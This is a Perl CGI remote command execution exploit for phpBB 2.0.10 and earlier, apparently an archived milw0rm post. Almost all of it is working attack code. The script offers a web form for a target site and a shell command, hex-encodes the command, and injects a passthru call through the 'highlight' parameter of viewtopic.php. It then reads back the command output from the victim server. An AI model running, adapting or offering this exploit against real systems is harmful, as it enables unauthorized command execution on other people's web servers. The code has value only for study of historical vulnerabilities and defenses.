phpBB <= 2.0.10 Remote Command Execution Exploit (cgi version)

#!/usr/bin/perl #wphpbb.cgi #hack service:) #http://site/cgi-bin/wphpbb.cgi use CGI qw(:standard); $CGI::HEADERS_ONCE = 1; $CGI = new CGI; $atak = $CGI-&#62;param(&#34;atak&#34;); $serv = $CGI-&#62;param(&#34;serv&#34;); $dir = $CGI-&#62;param(&#34;dir&#34;); $topic = $CGI-&#62;param(&#34;topic&#34;); $cmd = $CGI-&#62;param(&#34;cmd&#34;); print $CGI-&#62;header(-type=&#62;&#39;text/html&#39;,-charset=&#62;&#39;windows-1254&#39;); print qq~&#60;html&#62;&#60;head&#62; &#60;meta http-equiv=Content-Type&#34; content=text/html; charset=ISO-8859-9&#62;&#60;title&#62;phpBB HACK&#60;/title&#62;&#60;/head&#62; &#60;body bgcolor=black text=red&#62;phpBB atak webscript&#60;br&#62; &#60;font color=blue&#62;exploit:by RusH security team // www.rst.void.ru&#60;br&#62; exploit update:ZzagorR&#60;/font&#62;&#60;br&#62; &#60;table align=left&#62;&#60;tr&#62; &#60;form action=? method=post&#62; &#60;input type=hidden name=atak value=phpbb&#62; &#60;td&#62;Site: &#60;/td&#62;&#60;td&#62;&#60;input type=text name=serv value=$serv size=50&#62;&#60;br&#62;&#60;font color=blue&#62;example: www.site.com&#60;/font&#62;&#60;/td&#62;&#60;/tr&#62; &#60;tr&#62;&#60;td&#62;Klasor: &#60;/td&#62;&#60;td&#62;&#60;input type=text name=dir value=$dir size=50&#62;&#60;br&#62;&#60;font color=blue&#62;example: /phpBB2/&#60;/font&#62;&#60;/td&#62;&#60;/tr&#62; &#60;tr&#62;&#60;td&#62;TopicNo: &#60;/td&#62;&#60;td&#62;&#60;input type=text name=topic value=$topic size=10&#62;&#60;br&#62;&#60;font color=blue&#62;example: 1&#60;/font&#62;&#60;/td&#62;&#60;/tr&#62; &#60;tr&#62;&#60;td&#62;Komut: &#60;/td&#62;&#60;td&#62;&#60;input type=text name=cmd value=$cmd size=100&#62;&#60;br&#62;&#60;font color=blue&#62;example: id&#60;/font&#62;&#60;/td&#62;&#60;/tr&#62; &#60;tr&#62;&#60;td colspan=2 align=center&#62;&#60;input type=submit value=&#34;Test&#34;&#62;&#60;/td&#62;&#60;/tr&#62;~; if($atak eq &#34;phpbb&#34;) { $serv =~ s/(http:\/\/)//eg; print &#34;&#60;tr&#62;&#60;td valign=top colspan=2&#62;&#60;font color=white&#62; Sonuclar&#60;/font&#62;&#60;/td&#62;&#60;/tr&#62;&#34;; $cmd=~ s/(.*);$/$1/eg; $cmd=~ s/(.)/&#34;%&#34;.uc(sprintf(&#34;%2.2x&#34;,ord($1)))/eg; $topic=~ s/(.)/&#34;%&#34;.uc(sprintf(&#34;%2.2x&#34;,ord($1)))/eg; $path = $dir; $path .= &#39;viewtopic.php?t=&#39;; $path .= $topic; $path .= &#39;&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20&#39;; $path .= $cmd; $path .= &#39;%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&#39;; $path .= &#39;&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527&#39;; use IO::Socket; $socket = IO::Socket::INET-&#62;new( Proto =&#62; &#34;tcp&#34;, PeerAddr =&#62; &#34;$serv&#34;, PeerPort =&#62; &#34;80&#34;) || die &#34;[-] CONNECT FAILED\r\n&#34;; print $socket &#34;GET $path HTTP/1.1\n&#34;; print $socket &#34;Host: $serv\n&#34;; print $socket &#34;Accept: */*\n&#34;; print $socket &#34;Connection: close\n\n&#34;; $on = 0; while ($answer = &#60;$socket&#62;) { if ($answer =~ /^_END_/) { print &#34;&#60;tr&#62;&#60;td colspan=2 valign=top&#62;&#60;font color=white&#62;Islem Sonu&#60;/font&#62;&#60;/td&#62;&#60;/tr&#62;\r\n&#34;; exit(); } if ($on == 1) { print &#34;&#60;tr&#62;&#60;td colspan=2 valign=top&#62;$answer&#60;/td&#62;&#60;/tr&#62;&#34;; } if ($answer =~ /^_START_/) { $on = 1; } } print &#34;[-] EXPLOIT BASARISIZ\r\n&#34;; print &#34;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n&#34;; } print &#34;&#60;/table&#62;&#60;/body&#62;&#60;/html&#62;&#34;; # milw0rm.com [2004-12-03]